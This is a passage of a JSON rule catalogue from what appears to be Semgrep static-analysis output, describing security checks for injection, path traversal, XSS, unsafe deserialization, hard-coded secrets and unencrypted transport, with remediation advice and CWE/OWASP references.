least privilege."},"help":{"markdown":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","id":"terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","name":"terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead"},"help":{"markdown":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.unencrypted-socket.unencrypted-socket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.unencrypted-socket.unencrypted-socket","id":"kotlin.lang.security.unencrypted-socket.unencrypted-socket","name":"kotlin.lang.security.unencrypted-socket.unencrypted-socket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.unencrypted-socket.unencrypted-socket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client."},"help":{"markdown":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption)\n - [https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22](https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/](https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/)\n","text":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","id":"swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","name":"swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.pg-express.pg-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.pg-express.pg-express","id":"javascript.express.db.pg-express.pg-express","name":"javascript.express.db.pg-express.pg-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.pg-express.pg-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","id":"javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","name":"javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request)\n - [https://docs.ruby-lang.org/en/2.2.0/Net/Telnet.html](https://docs.ruby-lang.org/en/2.2.0/Net/Telnet.html)\n - [https://www.rubydoc.info/gems/net-ssh-telnet2/0.1.0/Net/SSH/Telnet](https://www.rubydoc.info/gems/net-ssh-telnet2/0.1.0/Net/SSH/Telnet)\n","text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","id":"kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","name":"kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/"},"help":{"markdown":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs)\n - [https://cwe.mitre.org/data/definitions/352.html](https://cwe.mitre.org/data/definitions/352.html)\n - [https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/](https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/)\n","text":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/"},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","id":"generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","name":"generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.pg-sqli.pg-sqli)\n - [https://www.rubydoc.info/gems/pg/PG/Connection](https://www.rubydoc.info/gems/pg/PG/Connection)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.pg-sqli.pg-sqli","id":"ruby.aws-lambda.security.pg-sqli.pg-sqli","name":"ruby.aws-lambda.security.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","id":"python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","name":"python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead."},"help":{"markdown":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected)\n - [https://cwe.mitre.org/data/definitions/939.html](https://cwe.mitre.org/data/definitions/939.html)\n","text":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","id":"python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","name":"python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","properties":{"precision":"very-high","tags":["CWE-939: Improper Authorization in Handler for Custom URL Scheme","LOW CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block."},"help":{"markdown":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#client_cert_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#client_cert_enabled)\n","text":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","id":"terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","name":"terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape)\n - [https://pugjs.org/language/code.html#unescaped-buffered-code](https://pugjs.org/language/code.html#unescaped-buffered-code)\n - [https://pugjs.org/language/attributes.html#unescaped-attributes](https://pugjs.org/language/attributes.html#unescaped-attributes)\n","text":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","id":"python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","name":"python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","id":"csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","name":"csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers)."},"help":{"markdown":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.unserialize-use.unserialize-use)\n - [https://www.php.net/manual/en/function.unserialize.php](https://www.php.net/manual/en/function.unserialize.php)\n - [https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html](https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html)\n","text":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers)."},"helpUri":"https://semgrep.dev/r/php.lang.security.unserialize-use.unserialize-use","id":"php.lang.security.unserialize-use.unserialize-use","name":"php.lang.security.unserialize-use.unserialize-use","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.unserialize-use.unserialize-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-shelve)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-shelve","id":"python.lang.security.deserialization.pickle.avoid-shelve","name":"python.lang.security.deserialization.pickle.avoid-shelve","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-shelve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module 